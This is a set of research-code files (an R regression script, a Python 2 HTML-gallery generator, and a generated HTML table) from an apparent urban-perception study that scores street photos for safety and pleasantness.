cor.test(novosgrupo1grupo2$V3.Baixa, novosgrupo1grupo2$V3.Media, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Baixa, novosgrupo1grupo2$V3.Media, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Baixa, novosgrupo1grupo2$V3.Media, method = "pearson")
#Regressao
library(texreg)
regAgrad <- lm(V3.Baixa ~ V3.Media, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
#Modelo
#sink("reg-bai-med-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Baixa", "V3.Media", "residuals", "residualsPos")], file="reg-bai-med-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Baixa", "V3.Media", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-bai-med-data-seg.dat", sep = "\t")
```
<file_sep># coding=utf-8
# Prepares a HTML page containing the photos and their QScore per question, filtered according to an intersection file containing the set of photos to be considered or not, and prints the set of photos that will appear in the HTML page
import sys
from sets import Set
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com qscores ordenados> <arquivo de interseccao>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
outputFile = open("question.html", 'w')
if len(sys.argv) == 3:
intersectionFile = open(sys.argv[2], 'r')
linesInter = intersectionFile.readlines()
data1 = linesInter[0].split("\t")
question1 = data1[0].strip()
set1 = eval(data1[2].strip())
data2 = linesInter[1].split("\t")
question2 = data2[0].strip()
set2 = eval(data2[2].strip())
photosToFilter = {question1 : set1, question2 : set2}
else:
photosToFilter = {}
linesQScore = dataFile.readlines()
results = {possibleQuestions[0]: [], possibleQuestions[1] : []}
#Reading photos information
for line in linesQScore:
data = line.split("\t")
question = data[0].strip(' \t\n\r')
photo = data[1].strip(' \t\n\r')
qscore = data[2].strip(' \t\n\r')
if len(photosToFilter) > 0:
currentFilter = photosToFilter[question]
if photo in currentFilter:
results[question].append(photo+" "+qscore)
#print question+"\t"+photo+"\t"+qscore
print line.strip('\n')
else:
results[question].append(photo+" "+qscore)
#Writing html
outputFile.write("<body style=\"overflow:scroll\">\n");
counter = 0
for question, questionPhotos in results.iteritems():
outputFile.write("<h2>"+question+"</h2>")
outputFile.write("<table>\n")
outputFile.write("<tr>\n")
for data in questionPhotos:
currentData = data.split(" ")
outputFile.write("<td><img src=\""+currentData[0]+"\" width=\"400\" height=\"300\"></td>\n")
outputFile.write("<td>"+currentData[0] + " " + currentData[1]+"</td>\n")
counter += 1
if counter % 3 == 0:
outputFile.write("</tr>\n")
outputFile.write("<tr>\n")
outputFile.write("</tr>\n")
outputFile.write("</table>")
outputFile.write("</body>\n");
dataFile.close()
outputFile.close()
<file_sep><meta content="text/html; charset=UTF-8" http-equiv="content-type"><body style="overflow:scroll">
>>> Para cada imagem temos todas as marcações quando ela foi escolhida como melhor ou pior imagem de um conjunto de 4 fotos. Além disso, ao lado do nome de cada imagem temos o número de vezes que a imagem foi escolhida como melhor ou pior!<h2> Melhores </h2><table>
<tr>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_445_22.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_445_22.jpg 40</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_445_293.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_445_293.jpg 39</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_480_112.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_480_112.jpg 68</td>
</tr>
<tr>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_480_203.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_480_203.jpg 37</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_549_22.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_549_22.jpg 22</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_549_293.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_549_293.jpg 15</td>
</tr>
<tr>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_580_112.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_580_112.jpg 41</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_580_203.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_580_203.jpg 73</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_660_112.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_660_112.jpg 69</td>
</tr>
<tr>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_660_203.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_660_203.jpg 40</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_691_22.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_691_22.jpg 60</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_691_293.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_691_293.jpg 54</td>
</tr>
<tr>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_813_22.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_813_22.jpg 29</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_813_293.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_813_293.jpg 25</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_826_112.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_826_112.jpg 44</td>
</tr>
<tr>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_826_203.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_826_203.jpg 20</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_912_112.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_912_112.jpg 26</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_912_203.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_912_203.jpg 40</td>
</tr>
<tr>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_913_22.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_913_22.jpg 8</td>
<td><img src="./melhores/Av._Mal._Floriano_Peixoto_913_293.jpg" width="400" height="300"></td>
<td>./melhores/Av._Mal._Floriano_Peixoto_913_293.jpg 10</td>
<td><img src="./melhores/Av_Aprigio_Veloso_332_315.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_332_315.jpg 5</td>
</tr>
<tr>
<td><img src="./melhores/Av_Aprigio_Veloso_332_60.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_332_60.jpg 6</td>
<td><img src="./melhores/Av_Aprigio_Veloso_333_240.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_333_240.jpg 2</td>
<td><img src="./melhores/Av_Aprigio_Veloso_448_315.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_448_315.jpg 6</td>
</tr>
<tr>
<td><img src="./melhores/Av_Aprigio_Veloso_448_60.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_448_60.jpg 4</td>
<td><img src="./melhores/Av_Aprigio_Veloso_646_315.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_646_315.jpg 3</td>
<td><img src="./melhores/Av_Aprigio_Veloso_646_60.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_646_60.jpg 6</td>
</tr>
<tr>
<td><img src="./melhores/Av_Aprigio_Veloso_647_135.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_647_135.jpg 2</td>
<td><img src="./melhores/Av_Aprigio_Veloso_647_240.jpg" width="400" height="300"></td>
<td>./melhores/Av_Aprigio_Veloso_647_240.jpg 2</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_105_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_105_135.jpg 48</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_105_225.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_105_225.jpg 46</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_105_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_105_315.jpg 25</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_105_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_105_45.jpg 35</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_160_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_160_135.jpg 63</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_160_225.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_160_225.jpg 51</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_160_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_160_315.jpg 37</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_160_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_160_45.jpg 47</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_210_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_210_135.jpg 39</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_210_225.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_210_225.jpg 53</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_210_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_210_315.jpg 54</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_210_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_210_45.jpg 53</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_261_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_261_135.jpg 28</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_261_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_261_22.jpg 62</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_261_225.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_261_225.jpg 58</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_261_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_261_315.jpg 74</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_2_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_2_135.jpg 40</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_2_225.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_2_225.jpg 33</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_2_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_2_293.jpg 20</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_2_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_2_45.jpg 25</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_305_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_305_293.jpg 19</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_305_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_305_45.jpg 28</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_350_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_350_135.jpg 1</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_350_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_350_315.jpg 10</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_350_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_350_45.jpg 26</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_390_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_390_135.jpg 5</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_390_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_390_203.jpg 10</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_390_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_390_315.jpg 2</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_390_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_390_45.jpg 4</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_436_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_436_135.jpg 77</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_436_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_436_203.jpg 10</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_436_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_436_22.jpg 50</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_436_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_436_315.jpg 55</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_66_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_66_135.jpg 19</td>
</tr>
<tr>
<td><img src="./melhores/R._Cristina_Procópio_Silva_66_225.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_66_225.jpg 115</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_66_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_66_315.jpg 74</td>
<td><img src="./melhores/R._Cristina_Procópio_Silva_66_45.jpg" width="400" height="300"></td>
<td>./melhores/R._Cristina_Procópio_Silva_66_45.jpg 58</td>
</tr>
<tr>
<td><img src="./melhores/R._Edésio_Silva_1136_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1136_135.jpg 27</td>
<td><img src="./melhores/R._Edésio_Silva_1136_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1136_203.jpg 11</td>
<td><img src="./melhores/R._Edésio_Silva_1136_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1136_22.jpg 16</td>
</tr>
<tr>
<td><img src="./melhores/R._Edésio_Silva_1136_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1136_315.jpg 34</td>
<td><img src="./melhores/R._Edésio_Silva_1546_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1546_135.jpg 87</td>
<td><img src="./melhores/R._Edésio_Silva_1546_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1546_203.jpg 49</td>
</tr>
<tr>
<td><img src="./melhores/R._Edésio_Silva_1546_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1546_22.jpg 60</td>
<td><img src="./melhores/R._Edésio_Silva_1546_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_1546_315.jpg 46</td>
<td><img src="./melhores/R._Edésio_Silva_306_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_306_135.jpg 54</td>
</tr>
<tr>
<td><img src="./melhores/R._Edésio_Silva_306_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_306_203.jpg 90</td>
<td><img src="./melhores/R._Edésio_Silva_306_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_306_22.jpg 83</td>
<td><img src="./melhores/R._Edésio_Silva_306_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_306_315.jpg 19</td>
</tr>
<tr>
<td><img src="./melhores/R._Edésio_Silva_602_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_602_135.jpg 40</td>
<td><img src="./melhores/R._Edésio_Silva_602_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_602_203.jpg 24</td>
<td><img src="./melhores/R._Edésio_Silva_602_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_602_22.jpg 84</td>
</tr>
<tr>
<td><img src="./melhores/R._Edésio_Silva_602_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_602_315.jpg 55</td>
<td><img src="./melhores/R._Edésio_Silva_70_135.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_70_135.jpg 7</td>
<td><img src="./melhores/R._Edésio_Silva_70_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_70_203.jpg 33</td>
</tr>
<tr>
<td><img src="./melhores/R._Edésio_Silva_70_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_70_22.jpg 105</td>
<td><img src="./melhores/R._Edésio_Silva_70_315.jpg" width="400" height="300"></td>
<td>./melhores/R._Edésio_Silva_70_315.jpg 11</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_120_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_120_112.jpg 51</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_120_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_120_203.jpg 13</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_120_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_120_22.jpg 121</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_120_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_120_293.jpg 79</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_160_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_160_112.jpg 22</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_160_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_160_203.jpg 16</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_160_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_160_22.jpg 16</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_160_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_160_293.jpg 15</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_199_10.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_199_10.jpg 23</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_199_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_199_112.jpg 35</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_199_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_199_180.jpg 31</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_199_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_199_293.jpg 28</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_239_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_239_203.jpg 71</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_239_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_239_22.jpg 100</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_239_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_239_270.jpg 86</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_239_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_239_90.jpg 87</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_2_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_2_112.jpg 2</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_2_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_2_203.jpg 6</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_2_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_2_22.jpg 1</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_2_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_2_293.jpg 2</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_300_10.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_300_10.jpg 16</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_300_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_300_112.jpg 13</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_300_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_300_180.jpg 14</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_300_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_300_293.jpg 22</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_360_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_360_203.jpg 36</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_360_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_360_22.jpg 84</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_360_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_360_270.jpg 102</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_360_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_360_90.jpg 32</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_434_10.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_434_10.jpg 2</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_434_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_434_112.jpg 34</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_434_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_434_180.jpg 7</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_434_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_434_270.jpg 13</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_500_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_500_203.jpg 23</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_500_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_500_22.jpg 11</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_500_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_500_270.jpg 21</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_500_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_500_90.jpg 27</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_54_112.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_54_112.jpg 51</td>
</tr>
<tr>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_54_203.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_54_203.jpg 28</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_54_22.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_54_22.jpg 60</td>
<td><img src="./melhores/R._Inácio_Marquês_da_Silva_54_293.jpg" width="400" height="300"></td>
<td>./melhores/R._Inácio_Marquês_da_Silva_54_293.jpg 3</td>
</tr>
<tr>
<td><img src="./melhores/R._Maciel_Pinheiro_130_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_130_180.jpg 64</td>
<td><img src="./melhores/R._Maciel_Pinheiro_130_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_130_270.jpg 38</td>
<td><img src="./melhores/R._Maciel_Pinheiro_130_360.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_130_360.jpg 23</td>
</tr>
<tr>
<td><img src="./melhores/R._Maciel_Pinheiro_130_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_130_90.jpg 59</td>
<td><img src="./melhores/R._Maciel_Pinheiro_190_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_190_180.jpg 27</td>
<td><img src="./melhores/R._Maciel_Pinheiro_190_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_190_270.jpg 52</td>
</tr>
<tr>
<td><img src="./melhores/R._Maciel_Pinheiro_190_360.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_190_360.jpg 60</td>
<td><img src="./melhores/R._Maciel_Pinheiro_190_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_190_90.jpg 45</td>
<td><img src="./melhores/R._Maciel_Pinheiro_248_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_248_180.jpg 68</td>
</tr>
<tr>
<td><img src="./melhores/R._Maciel_Pinheiro_248_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_248_270.jpg 22</td>
<td><img src="./melhores/R._Maciel_Pinheiro_248_360.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_248_360.jpg 34</td>
<td><img src="./melhores/R._Maciel_Pinheiro_248_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_248_90.jpg 78</td>
</tr>
<tr>
<td><img src="./melhores/R._Maciel_Pinheiro_284_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_284_180.jpg 63</td>
<td><img src="./melhores/R._Maciel_Pinheiro_284_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_284_270.jpg 31</td>
<td><img src="./melhores/R._Maciel_Pinheiro_284_360.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_284_360.jpg 33</td>
</tr>
<tr>
<td><img src="./melhores/R._Maciel_Pinheiro_284_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_284_90.jpg 54</td>
<td><img src="./melhores/R._Maciel_Pinheiro_360_180.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_360_180.jpg 22</td>
<td><img src="./melhores/R._Maciel_Pinheiro_360_270.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_360_270.jpg 28</td>
</tr>
<tr>
<td><img src="./melhores/R._Maciel_Pinheiro_360_360.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_360_360.jpg 46</td>
<td><img src="./melhores/R._Maciel_Pinheiro_360_90.jpg" width="400" height="300"></td>
<td>./melhores/R._Maciel_Pinheiro_360_90.jpg 42</td>
